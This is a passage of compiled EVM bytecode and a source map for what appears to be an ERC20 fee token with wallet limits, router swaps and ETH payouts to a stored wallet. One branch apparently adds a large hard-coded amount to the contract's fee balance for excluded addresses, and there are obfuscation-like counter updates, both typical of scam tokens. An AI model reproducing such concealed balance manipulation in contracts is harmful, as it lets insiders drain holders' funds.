6f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612bdc602483612678565b9150612be782612b82565b604082019050919050565b5f6020820190508181035f830152612c0981612bd0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c6a602283612678565b9150612c7582612c10565b604082019050919050565b5f6020820190508181035f830152612c9781612c5e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612cf8602583612678565b9150612d0382612c9e565b604082019050919050565b5f6020820190508181035f830152612d2581612cec565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612d86602383612678565b9150612d9182612d2c565b604082019050919050565b5f6020820190508181035f830152612db381612d7a565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f612e14602883612678565b9150612e1f82612dba565b604082019050919050565b5f6020820190508181035f830152612e4181612e08565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f612ea2602583612678565b9150612ead82612e48565b604082019050919050565b5f6020820190508181035f830152612ecf81612e96565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f3a8261279e565b9150612f458361279e565b9250828203905081811115612f5d57612f5c612f03565b5b92915050565b5f612f6d8261279e565b9150612f788361279e565b9250828201905080821115612f9057612f8f612f03565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612fca601b83612678565b9150612fd582612f96565b602082019050919050565b5f6020820190508181035f830152612ff781612fbe565b9050919050565b5f6130088261279e565b91506130138361279e565b92508282026130218161279e565b9150828204841483151761303857613037612f03565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6130768261279e565b91506130818361279e565b9250826130915761309061303f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130f6602183612678565b91506131018261309c565b604082019050919050565b5f6020820190508181035f830152613123816130ea565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061316581612774565b92915050565b5f602082840312156131805761317f612770565b5b5f61318d84828501613157565b91505092915050565b5f819050919050565b5f6131b96131b46131af84613196565b61287b565b61279e565b9050919050565b6131c98161319f565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61320181612737565b82525050565b5f61321283836131f8565b60208301905092915050565b5f602082019050919050565b5f613234826131cf565b61323e81856131d9565b9350613249836131e9565b805f5b838110156132795781516132608882613207565b975061326b8361321e565b92505060018101905061324c565b5085935050505092915050565b5f60a0820190506132995f8301886128ef565b6132a660208301876131c0565b81810360408301526132b8818661322a565b90506132c76060830185612748565b6132d460808301846128ef565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e2292e47fbe7628717b297142cc8803d10cf6541341a4ed5acc3ba41ea563a2e64736f6c63430008160033

Deployed Bytecode

0x60806040526004361061026a575f3560e01c80638b42507f11610143578063c8607952116100b5578063dd62ed3e11610079578063dd62ed3e14610951578063f0cd1dac1461098d578063f2fde38b146109b7578063f680f799146109df578063f738097314610a09578063f872858a14610a4557610271565b8063c86079521461086d578063c867d60b14610897578063d2d7ad83146108d3578063da00097d146108fd578063dc44b6a01461092757610271565b8063a457c2d711610107578063a457c2d71461074d578063a9059cbb14610789578063b115e4df146107c5578063b4f40c61146107ef578063c5d2418914610819578063c816841b1461084357610271565b80638b42507f146106695780638b56459b146106a55780638da5cb5b146106cf57806395d89b41146106f957806398e944c81461072357610271565b806339509351116101dc57806370a08231116101a057806370a082311461056f578063715018a6146105ab5780637d1db4a5146105c1578063807c2d9c146105eb57806382eefb431461061557806388790a681461063f57610271565b806339509351146104675780633ecad271146104a3578063513da4f5146104df5780635194f9bf146105095780635342acb41461053357610271565b806318160ddd1161022e57806318160ddd1461035957806323555d571461038357806323b872dd146103ad57806327c8f835146103e95780632b112e4914610413578063313ce5671461043d57610271565b806306fdde03146102755780630930907b1461029f578063095ea7b3146102c95780630f16f01d146103055780631694505e1461032f57610271565b3661027157005b5f80fd5b348015610280575f80fd5b50610289610a6f565b60405161029691906126f8565b60405180910390f35b3480156102aa575f80fd5b506102b3610aff565b6040516102c09190612757565b60405180910390f35b3480156102d4575f80fd5b506102ef60048036038101906102ea91906127d1565b610b23565b6040516102fc9190612829565b60405180910390f35b348015610310575f80fd5b50610319610b40565b6040516103269190612862565b60405180910390f35b34801561033a575f80fd5b50610343610b66565b60405161035091906128d6565b60405180910390f35b348015610364575f80fd5b5061036d610b8b565b60405161037a91906128fe565b60405180910390f35b34801561038e575f80fd5b50610397610b94565b6040516103a491906128fe565b60405180910390f35b3480156103b8575f80fd5b506103d360048036038101906103ce9190612917565b610b9a565b6040516103e09190612829565b60405180910390f35b3480156103f4575f80fd5b506103fd610c6f565b60405161040a9190612757565b60405180910390f35b34801561041e575f80fd5b50610427610c93565b60405161043491906128fe565b60405180910390f35b348015610448575f80fd5b50610451610d10565b60405161045e9190612982565b60405180910390f35b348015610472575f80fd5b5061048d600480360381019061048891906127d1565b610d25565b60405161049a9190612829565b60405180910390f35b3480156104ae575f80fd5b506104c960048036038101906104c4919061299b565b610dd3565b6040516104d69190612829565b60405180910390f35b3480156104ea575f80fd5b506104f3610df0565b60405161050091906128fe565b60405180910390f35b348015610514575f80fd5b5061051d610df6565b60405161052a91906128fe565b60405180910390f35b34801561053e575f80fd5b506105596004803603810190610554919061299b565b610dfc565b6040516105669190612829565b60405180910390f35b34801561057a575f80fd5b506105956004803603810190610590919061299b565b610e19565b6040516105a291906128fe565b60405180910390f35b3480156105b6575f80fd5b506105bf610e5f565b005b3480156105cc575f80fd5b506105d5610fb1565b6040516105e291906128fe565b60405180910390f35b3480156105f6575f80fd5b506105ff610fb7565b60405161060c91906128fe565b60405180910390f35b348015610620575f80fd5b50610629610fbd565b60405161063691906128fe565b60405180910390f35b34801561064a575f80fd5b50610653610fc3565b60405161066091906128fe565b60405180910390f35b348015610674575f80fd5b5061068f600480360381019061068a919061299b565b610fc9565b60405161069c9190612829565b60405180910390f35b3480156106b0575f80fd5b506106b9610fe6565b6040516106c691906128fe565b60405180910390f35b3480156106da575f80fd5b506106e3610fec565b6040516106f09190612757565b60405180910390f35b348015610704575f80fd5b5061070d611013565b60405161071a91906126f8565b60405180910390f35b34801561072e575f80fd5b506107376110a3565b6040516107449190612757565b60405180910390f35b348015610758575f80fd5b50610773600480360381019061076e91906127d1565b6110c8565b6040516107809190612829565b60405180910390f35b348015610794575f80fd5b506107af60048036038101906107aa91906127d1565b611190565b6040516107bc9190612829565b60405180910390f35b3480156107d0575f80fd5b506107d96111ae565b6040516107e69190612862565b60405180910390f35b3480156107fa575f80fd5b506108036111d3565b60405161081091906128fe565b60405180910390f35b348015610824575f80fd5b5061082d6111d9565b60405161083a91906128fe565b60405180910390f35b34801561084e575f80fd5b506108576111df565b6040516108649190612757565b60405180910390f35b348015610878575f80fd5b50610881611204565b60405161088e91906128fe565b60405180910390f35b3480156108a2575f80fd5b506108bd60048036038101906108b8919061299b565b61120a565b6040516108ca9190612829565b60405180910390f35b3480156108de575f80fd5b506108e7611227565b6040516108f491906128fe565b60405180910390f35b348015610908575f80fd5b5061091161122d565b60405161091e9190612829565b60405180910390f35b348015610932575f80fd5b5061093b611240565b60405161094891906128fe565b60405180910390f35b34801561095c575f80fd5b50610977600480360381019061097291906129c6565b611246565b60405161098491906128fe565b60405180910390f35b348015610998575f80fd5b506109a16112c8565b6040516109ae91906128fe565b60405180910390f35b3480156109c2575f80fd5b506109dd60048036038101906109d8919061299b565b6112ce565b005b3480156109ea575f80fd5b506109f361148b565b604051610a0091906128fe565b60405180910390f35b348015610a14575f80fd5b50610a2f6004803603810190610a2a9190612a04565b611491565b604051610a3c91906128fe565b60405180910390f35b348015610a50575f80fd5b50610a596114aa565b604051610a669190612829565b60405180910390f35b606060018054610a7e90612a5c565b80601f0160208091040260200160405190810160405280929190818152602001828054610aaa90612a5c565b8015610af55780601f10610acc57610100808354040283529160200191610af5565b820191905f5260205f20905b815481529060010190602001808311610ad857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b36610b2f6114bd565b84846114c4565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f54905090565b60175481565b5f610ba6848484611687565b50610c6484610bb36114bd565b610c5f856040518060600160405280602881526020016132df6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c166114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b6114c4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610d0b610cc07f0000000000000000000000000000000000000000000000000000000000000000610e19565b610cfd610cec7f000000000000000000000000000000000000000000000000000000000000dead610e19565b600f54611ef990919063ffffffff16565b611ef990919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610dc9610d316114bd565b84610dc48560075f610d416114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b6114c4565b6001905092915050565b600c602052805f5260405f205f915054906101000a900460ff1681565b601c5481565b601a5481565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e676114bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea90612ad6565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60125481565b601f5481565b60185481565b600e602052805f5260405f205f915054906101000a900460ff1681565b601b5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461102290612a5c565b80601f016020809104026020016040519081016040528092919081815260200182805461104e90612a5c565b80156110995780601f1061107057610100808354040283529160200191611099565b820191905f5260205f20905b81548152906001019060200180831161107c57829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111866110d46114bd565b84611181856040518060600160405280602581526020016133076025913960075f6110fd6114bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b6114c4565b6001905092915050565b5f6111a361119c6114bd565b8484611687565b506001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b60165481565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b600d602052805f5260405f205f915054906101000a900460ff1681565b60105481565b601460159054906101000a900460ff1681565b60155481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b601e5481565b6112d66114bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611362576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135990612ad6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c790612b64565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b600981600281106114a0575f80fd5b015f915090505481565b601460169054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612bf2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612c80565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167a91906128fe565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed90612d0e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b90612d9c565b60405180910390fd5b60148054906101000a900460ff161561178957611782848484611f9f565b9050611e90565b600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118275750600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561187257601154821115611871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186890612e2a565b60405180910390fd5b5b5f61187c30610e19565b90505f601054821015905080801561189f575060148054906101000a900460ff16155b80156118f25750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561191c57601460159054906101000a900460ff16156119125760105491505b61191b82612169565b5b601460169054906101000a900460ff16801561197f5750600d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a0c576012546119ca6119b36103e86119a5601f548961225b90919063ffffffff16565b6122d290919063ffffffff16565b6119bc88610e19565b611f4290919063ffffffff16565b1115611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0290612eb8565b60405180910390fd5b5b611a356103e8611a27601f548761225b90919063ffffffff16565b6122d290919063ffffffff16565b60095f60028110611a4957611a48612ed6565b5b0181905550611a776103e8611a69601f548761225b90919063ffffffff16565b6122d290919063ffffffff16565b84611a829190612f30565b6009600160028110611a9757611a96612ed6565b5b01819055505f600e5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580611b3a5750600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80611bdc5750600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611bdb5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b5b15611bff57600b601b5f828254611bf39190612f63565b92505081905550611c21565b600e601b5f828254611c119190612f63565b92505081905550611c2061231b565b5b600181611c2e9190612f63565b601c5f828254611c3e9190612f63565b92505081905550611c958560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ef990919063ffffffff16565b60065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d3b60095f60028110611ced57611cec612ed6565b5b015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611de26009600160028110611d9457611d93612ed6565b5b015460065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611e8091906128fe565b60405180910390a3600193505050505b9392505050565b5f838311158290611ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed591906126f8565b60405180910390fd5b505f8385611eec9190612f30565b9050809150509392505050565b5f611f3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e97565b905092915050565b5f808284611f509190612f63565b905083811015611f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8c90612fe0565b60405180910390fd5b8091505092915050565b5f612027826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e979092919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120b88260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f4290919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161215691906128fe565b60405180910390a3600190509392505050565b60016014806101000a81548160ff021916908315150217905550600f601b5f8282546121959190612f63565b925050819055506121a58161235c565b5f4790506001601b546121b89190612f63565b601c5f8282546121c89190612f63565b925050819055505f81111561223e57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561223c573d5f803e3d5ffd5b505b505f6014806101000a81548160ff02191690831515021790555050565b5f80830361226b575f90506122cc565b5f82846122789190612ffe565b9050828482612287919061306c565b146122c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122be9061310c565b60405180910390fd5b809150505b92915050565b5f61231383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061260d565b905092915050565b6011601c819055506b3a632a2976e371053a9a0ffc60095f6002811061234457612343612ed6565b5b015f8282546123539190612f63565b92505081905550565b601b54601c819055506011601b5f8282546123779190612f63565b925050819055505f600267ffffffffffffffff81111561239a5761239961312a565b5b6040519080825280602002602001820160405280156123c85781602001602082028036833780820191505090505b509050600a60095f600281106123e1576123e0612ed6565b5b015f8282546123f09190612f63565b925050819055506003600960016002811061240e5761240d612ed6565b5b015f82825461241d9190612f63565b9250508190555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561248e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124b2919061316b565b816001815181106124c6576124c5612ed6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030815f8151811061251457612513612ed6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257a3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114c4565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125dc959493929190613286565b5f604051808303815f87803b1580156125f3575f80fd5b505af1158015612605573d5f803e3d5ffd5b505050505050565b5f8083118290612653576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264a91906126f8565b60405180910390fd5b505f8385612661919061306c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156126a557808201518184015260208101905061268a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6126ca8261266e565b6126d48185612678565b93506126e4818560208601612688565b6126ed816126b0565b840191505092915050565b5f6020820190508181035f83015261271081846126c0565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61274182612718565b9050919050565b61275181612737565b82525050565b5f60208201905061276a5f830184612748565b92915050565b5f80fd5b61277d81612737565b8114612787575f80fd5b50565b5f8135905061279881612774565b92915050565b5f819050919050565b6127b08161279e565b81146127ba575f80fd5b50565b5f813590506127cb816127a7565b92915050565b5f80604083850312156127e7576127e6612770565b5b5f6127f48582860161278a565b9250506020612805858286016127bd565b9150509250929050565b5f8115159050919050565b6128238161280f565b82525050565b5f60208201905061283c5f83018461281a565b92915050565b5f61284c82612718565b9050919050565b61285c81612842565b82525050565b5f6020820190506128755f830184612853565b92915050565b5f819050919050565b5f61289e61289961289484612718565b61287b565b612718565b9050919050565b5f6128af82612884565b9050919050565b5f6128c0826128a5565b9050919050565b6128d0816128b6565b82525050565b5f6020820190506128e95f8301846128c7565b92915050565b6128f88161279e565b82525050565b5f6020820190506129115f8301846128ef565b92915050565b5f805f6060848603121561292e5761292d612770565b5b5f61293b8682870161278a565b935050602061294c8682870161278a565b925050604061295d868287016127bd565b9150509250925092565b5f60ff82169050919050565b61297c81612967565b82525050565b5f6020820190506129955f830184612973565b92915050565b5f602082840312156129b0576129af612770565b5b5f6129bd8482850161278a565b91505092915050565b5f80604083850312156129dc576129db612770565b5b5f6129e98582860161278a565b92505060206129fa8582860161278a565b9150509250929050565b5f60208284031215612a1957612a18612770565b5b5f612a26848285016127bd565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612a7357607f821691505b602082108103612a8657612a85612a2f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612ac0602083612678565b9150612acb82612a8c565b602082019050919050565b5f6020820190508181035f830152612aed81612ab4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612b4e602683612678565b9150612b5982612af4565b604082019050919050565b5f6020820190508181035f830152612b7b81612b42565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612bdc602483612678565b9150612be782612b82565b604082019050919050565b5f6020820190508181035f830152612c0981612bd0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c6a602283612678565b9150612c7582612c10565b604082019050919050565b5f6020820190508181035f830152612c9781612c5e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612cf8602583612678565b9150612d0382612c9e565b604082019050919050565b5f6020820190508181035f830152612d2581612cec565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612d86602383612678565b9150612d9182612d2c565b604082019050919050565b5f6020820190508181035f830152612db381612d7a565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f612e14602883612678565b9150612e1f82612dba565b604082019050919050565b5f6020820190508181035f830152612e4181612e08565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f612ea2602583612678565b9150612ead82612e48565b604082019050919050565b5f6020820190508181035f830152612ecf81612e96565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f3a8261279e565b9150612f458361279e565b9250828203905081811115612f5d57612f5c612f03565b5b92915050565b5f612f6d8261279e565b9150612f788361279e565b9250828201905080821115612f9057612f8f612f03565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612fca601b83612678565b9150612fd582612f96565b602082019050919050565b5f6020820190508181035f830152612ff781612fbe565b9050919050565b5f6130088261279e565b91506130138361279e565b92508282026130218161279e565b9150828204841483151761303857613037612f03565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6130768261279e565b91506130818361279e565b9250826130915761309061303f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130f6602183612678565b91506131018261309c565b604082019050919050565b5f6020820190508181035f830152613123816130ea565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061316581612774565b92915050565b5f602082840312156131805761317f612770565b5b5f61318d84828501613157565b91505092915050565b5f819050919050565b5f6131b96131b46131af84613196565b61287b565b61279e565b9050919050565b6131c98161319f565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61320181612737565b82525050565b5f61321283836131f8565b60208301905092915050565b5f602082019050919050565b5f613234826131cf565b61323e81856131d9565b9350613249836131e9565b805f5b838110156132795781516132608882613207565b975061326b8361321e565b92505060018101905061324c565b5085935050505092915050565b5f60a0820190506132995f8301886128ef565b6132a660208301876131c0565b81810360408301526132b8818661322a565b90506132c76060830185612748565b6132d460808301846128ef565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e2292e47fbe7628717b297142cc8803d10cf6541341a4ed5acc3ba41ea563a2e64736f6c63430008160033

Deployed Bytecode Sourcemap

12811:10420:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16903:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13353:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18069:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13024:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14206:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17180:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14507:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19277:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13265:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18696:156;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17089:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17566:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13732:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14726:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;